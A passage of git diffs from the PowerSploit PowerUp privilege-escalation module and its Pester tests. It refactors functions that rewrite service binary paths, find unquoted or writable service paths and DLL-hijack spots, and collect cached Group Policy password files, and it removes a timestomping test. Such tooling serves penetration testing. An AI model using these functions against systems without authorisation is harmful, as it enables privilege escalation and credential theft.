| Select-Object -ExpandProperty Path + # if the separator contains a space + $CandidatePaths += Resolve-Path -Path $([System.Environment]::ExpandEnvironmentVariables($_)) -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path | ForEach-Object {$_.Trim()} | Where-Object {($_ -ne '') -and (Test-Path -Path $_)} } } } @@ -1024,9 +1031,9 @@ function Add-ServiceDacl { service with using the GetServiceHandle Win32 API call and then uses QueryServiceObjectSecurity to retrieve a copy of the security descriptor for the service. - .PARAMETER Service + .PARAMETER Name - An array of one or more ServiceProcess.ServiceController objects from Get-Service. Required. + An array of one or more service names to add a service Dacl for. Passable on the pipeline. .EXAMPLE @@ -1051,10 +1058,11 @@ function Add-ServiceDacl { [OutputType('ServiceProcess.ServiceController')] param ( - [Parameter(Mandatory=$True, ValueFromPipeline=$True)] - [ServiceProcess.ServiceController[]] + [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] + [Alias('ServiceName')] + [String[]] [ValidateNotNullOrEmpty()] - $Service + $Name ) BEGIN { @@ -1062,8 +1070,8 @@ function Add-ServiceDacl { [OutputType([IntPtr])] param ( [Parameter(Mandatory=$True, ValueFromPipeline=$True)] - [ServiceProcess.ServiceController] [ValidateNotNullOrEmpty()] + [ValidateScript({ $_ -as 'ServiceProcess.ServiceController' })] $Service ) @@ -1078,13 +1086,17 @@ function Add-ServiceDacl { } PROCESS { - ForEach ($IndividualService in $Service) { + ForEach($ServiceName in $Name) { + + $IndividualService = Get-Service -Name $ServiceName -ErrorAction Stop + try { + Write-Verbose "Add-ServiceDacl IndividualService : $($IndividualService.Name)" $ServiceHandle = Get-ServiceReadControlHandle -Service $IndividualService } catch { $ServiceHandle = $Null - Write-Warning "Error opening up the service handle with read control for: $($IndividualService.Name)" + Write-Verbose "Error opening up the service handle with read control for $($IndividualService.Name) : $_" } if ($ServiceHandle -and ($ServiceHandle -ne [IntPtr]::Zero)) { @@ -1214,7 +1226,7 @@ function Set-ServiceBinPath { } catch { $ServiceHandle = $Null - Write-Warning "Error opening up the service handle with read control for $($TargetService.Name) : $_" + Write-Verbose "Error opening up the service handle with read control for $IndividualService : $_" } if ($ServiceHandle -and ($ServiceHandle -ne [IntPtr]::Zero)) { @@ -1224,7 +1236,7 @@ function Set-ServiceBinPath { $Result = $Advapi32::ChangeServiceConfig($ServiceHandle, $SERVICE_NO_CHANGE, $SERVICE_NO_CHANGE, $SERVICE_NO_CHANGE, "$binPath", [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() if ($Result -ne 0) { - Write-Verbose "binPath for $($TargetService.Name) successfully set to '$binPath'" + Write-Verbose "binPath for $IndividualService successfully set to '$binPath'" $True } else { @@ -1364,7 +1376,7 @@ function Test-ServiceDaclPermission { ForEach($IndividualService in $Name) { - $TargetService = Get-Service -Name $IndividualService | Add-ServiceDacl + $TargetService = $IndividualService | Add-ServiceDacl if($TargetService -and $TargetService.Dacl) { @@ -1381,7 +1393,7 @@ function Test-ServiceDaclPermission { ForEach($TargetPermission in $TargetPermissions) { # check permissions && style if (($ServiceDacl.AccessRights -band $AccessMask[$TargetPermission]) -ne $AccessMask[$TargetPermission]) { - Write-Verbose "Current user doesn't have '$TargetPermission' for $($TargetService.Name)" + # Write-Verbose "Current user doesn't have '$TargetPermission' for $($TargetService.Name)" $AllMatched = $False break } @@ -1394,7 +1406,7 @@ function Test-ServiceDaclPermission { ForEach($TargetPermission in $TargetPermissions) { # check permissions || style if (($ServiceDacl.AccessRights -band $AccessMask[$TargetPermission]) -eq $AccessMask[$TargetPermission]) { - Write-Verbose "Current user has '$TargetPermission' for $($TargetService.Name)" + Write-Verbose "Current user has '$TargetPermission' for $IndividualService" $TargetService break } @@ -1404,7 +1416,7 @@ function Test-ServiceDaclPermission { } } else { - Write-Warning "Error enumerating the Dacl for service $($TargetService.Name)" + Write-Verbose "Error enumerating the Dacl for service $IndividualService" } } } @@ -1434,6 +1446,7 @@ function Get-ServiceUnquoted { https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/trusted_service_path.rb #> + [CmdletBinding()] param() # find all paths to service .exe's that have a space in the path and aren't quoted $VulnServices = Get-WmiObject -Class win32_service | Where-Object {$_} | Where-Object {($_.pathname -ne $null) -and ($_.pathname.trim() -ne '')} | Where-Object { (-not $_.pathname.StartsWith("`"")) -and (-not $_.pathname.StartsWith("'"))} | Where-Object {($_.pathname.Substring(0, $_.pathname.ToLower().IndexOf(".exe") + 4)) -match ".* .*"} @@ -1441,7 +1454,7 @@ function Get-ServiceUnquoted { if ($VulnServices) { ForEach ($Service in $VulnServices) { - $ModifiableFiles = $Service.pathname | Get-ModifiablePath + $ModifiableFiles = $Service.pathname.split(' ') | Get-ModifiablePath $ModifiableFiles | Where-Object {$_ -and $_.ModifiablePath -and ($_.ModifiablePath -ne '')} | Foreach-Object { $ServiceRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $Service.name @@ -1487,6 +1500,7 @@ function Get-ModifiableServiceFile { Get a set of potentially exploitable service binares/config files. #> + [CmdletBinding()] param() Get-WMIObject -Class win32_service | Where-Object {$_ -and $_.pathname} | ForEach-Object { @@ -1537,6 +1551,7 @@ function Get-ModifiableService { Get a set of potentially exploitable services. #> + [CmdletBinding()] param() Get-Service | Test-ServiceDaclPermission -PermissionSet 'ChangeConfig' | ForEach-Object { @@ -1612,7 +1627,7 @@ function Get-ServiceDetail { $_ } catch{ - Write-Warning "Error: $_" + Write-Verbose "Error: $_" $null } } @@ -3689,12 +3704,15 @@ function Get-CachedGPPPassword { # discover any locally cached GPP .xml files $XMlFiles = Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue - if ( -not $XMlFiles ) { throw 'No preference files found.' } + if ( -not $XMlFiles ) { + Write-Verbose 'No preference files found.' + } + else { + Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords." - Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords." - - ForEach ($File in $XMLFiles) { - Get-GppInnerFields $File.Fullname + ForEach ($File in $XMLFiles) { + Get-GppInnerFields $File.Fullname + } } } @@ -3839,7 +3857,7 @@ function Invoke-AllChecks { "`n`n[*] Checking %PATH% for potentially hijackable DLL locations..." $Results = Find-PathDLLHijack - $Results | Foreach-Object { + $Results | Where-Object {$_} | Foreach-Object { $AbuseString = "Write-HijackDll -DllPath '$($_.ModifiablePath)\wlbsctrl.dll'" $_ | Add-Member Noteproperty 'AbuseFunction' $AbuseString $_ diff --git a/Tests/Privesc.tests.ps1 b/Tests/Privesc.tests.ps1 index a36338e..9b9872b 100644 --- a/Tests/Privesc.tests.ps1 +++ b/Tests/Privesc.tests.ps1 @@ -129,7 +129,7 @@ Describe 'Get-ModifiablePath' { Describe 'Get-CurrentUserTokenGroupSid' { if(-not $(Test-IsAdmin)) { - Throw "'Add-ServiceDacl' Pester test needs local administrator privileges." + Throw "'Get-CurrentUserTokenGroupSid' Pester test needs local administrator privileges." } It 'Should not throw.' { @@ -167,21 +167,62 @@ Describe 'Add-ServiceDacl' { {Get-Service | Add-ServiceDacl} | Should Not Throw } - It 'Should accept a service as a parameter argument.' { - $Service = Get-Service | Select-Object -First 1 - $ServiceWithDacl = Add-ServiceDacl -Service $Service + It 'Should fail for a non-existent service.' { + $ServiceName = Get-RandomName + {$Result = Add-ServiceDacl -Name $ServiceName} | Should Throw + } + + It 'Should accept a service name as a parameter argument.' { + $ServiceName = Get-Service | Select-Object -First 1 | Select-Object -ExpandProperty Name + $ServiceWithDacl = Add-ServiceDacl -Name $ServiceName if(-not $ServiceWithDacl.Dacl) { Throw "'Add-ServiceDacl' doesn't return a Dacl for a service passed as parameter." } } + It 'Should accept an array of service names as a parameter argument.' { + $ServiceNames = Get-Service | Select-Object -First 5 | Select-Object -ExpandProperty Name + $ServicesWithDacl = Add-ServiceDacl -Name $ServiceNames + + if(-not $ServicesWithDacl.Dacl) { + Throw "'Add-ServiceDacl' doesn't return Dacls for an array of service names as a parameter." + } + } + It 'Should accept a service object on the pipeline.' { $Service = Get-Service | Select-Object -First 1 $ServiceWithDacl = $Service | Add-ServiceDacl if(-not $ServiceWithDacl.Dacl) { - Throw "'Add-ServiceDacl' doesn't return a Dacl for a service passed as parameter." + Throw "'Add-ServiceDacl' doesn't return a Dacl for a service object on the pipeline." + } + } + + It 'Should accept a service name on the pipeline.' { + $ServiceName = Get-Service | Select-Object -First 1 | Select-Object -ExpandProperty Name + $ServiceWithDacl = $ServiceName | Add-ServiceDacl + + if(-not $ServiceWithDacl.Dacl) { + Throw "'Add-ServiceDacl' doesn't return a Dacl for a service name on the pipeline." + } + } + + It 'Should accept multiple service objects on the pipeline.' { + $Services = Get-Service | Select-Object -First 5 + $ServicesWithDacl = $Services | Add-ServiceDacl + + if(-not $ServicesWithDacl.Dacl) { + Throw "'Add-ServiceDacl' doesn't return Dacls for multiple service objects on the pipeline." + } + } + + It 'Should accept multiple service names on the pipeline.' { + $ServiceNames = Get-Service | Select-Object -First 5 | Select-Object -ExpandProperty Name + $ServicesWithDacl = $ServiceNames | Add-ServiceDacl + + if(-not $ServicesWithDacl.Dacl) { + Throw "'Add-ServiceDacl' doesn't return Dacls for multiple service names on the pipeline." } } @@ -407,7 +448,7 @@ Describe 'Test-ServiceDaclPermission' { Describe 'Get-ServiceUnquoted' { if(-not $(Test-IsAdmin)) { - Throw "'Get-ServicePermission' Pester test needs local administrator privileges." + Throw "'Get-ServiceUnquoted' Pester test needs local administrator privileges." } It "Should not throw." { -- cgit v1.2.3 From 422cd612f679df57643d5c0b366d25a032fb063b Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Mon, 12 Dec 2016 13:13:29 -0500 Subject: removed Set-MacAttribute Pester tests --- Tests/Recon.tests.ps1 | 26 -------------------------- 1 file changed, 26 deletions(-) (limited to 'Tests') diff --git a/Tests/Recon.tests.ps1 b/Tests/Recon.tests.ps1 index 8fd3d75..c291135 100644 --- a/Tests/Recon.tests.ps1 +++ b/Tests/Recon.tests.ps1 @@ -30,32 +30,6 @@ Describe 'Export-PowerViewCSV' { } } - -Describe 'Set-MacAttribute' { - BeforeEach { - New-Item MacAttribute.test.txt -Type file - } - AfterEach { - Remove-Item -Force MacAttribute.test.txt - } - It 'Should clone MAC attributes of existing file' { - Set-MacAttribute -FilePath MacAttribute.test.txt -All '01/01/2000 12:00 am' - $File = (Get-Item MacAttribute.test.txt) - $Date = Get-Date -Date '2000-01-01 00:00:00' - - if ($File.LastWriteTime -ne $Date) { - Throw 'File LastWriteTime does Not match' - } - elseif($File.LastAccessTime -ne $Date) { - Throw 'File LastAccessTime does Not match' - } - elseif($File.CreationTime -ne $Date) { - Throw 'File CreationTime does Not match' - } - } -} - - Describe 'Get-IPAddress' { $IPregex = "(?
((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))" It 'Should return local IP address' { -- cgit v1.2.3 From 031a7561c65ad9e39c0da6a8e31dc5dbc9211d34 Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Mon, 12 Dec 2016 13:30:07 -0500 Subject: removed Pester test for non-exported Invoke-ThreadedFunction function --- Tests/Recon.tests.ps1 | 12 ------------ 1 file changed, 12 deletions(-) (limited to 'Tests') diff --git a/Tests/Recon.tests.ps1 b/Tests/Recon.tests.ps1 index c291135..a297ed9 100644 --- a/Tests/Recon.tests.ps1 +++ b/Tests/Recon.tests.ps1 @@ -110,18 +110,6 @@ Describe 'Get-NameField' { } -Describe 'Invoke-ThreadedFunction' { - It "Should allow threaded ping" { - $Hosts = ,"localhost" * 100 - $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} - $Hosts = Invoke-ThreadedFunction -NoImports -ComputerName $Hosts -ScriptBlock $Ping -Threads 20 - if($Hosts.length -ne 100) { - Throw 'Error in using Invoke-ThreadedFunction to ping localhost' - } - } -} - - Describe "Get-NetLocalGroup" { It "Should return results for local machine administrators" { if ( (Get-NetLocalGroup | Measure-Object).count -lt 1) { -- cgit v1.2.3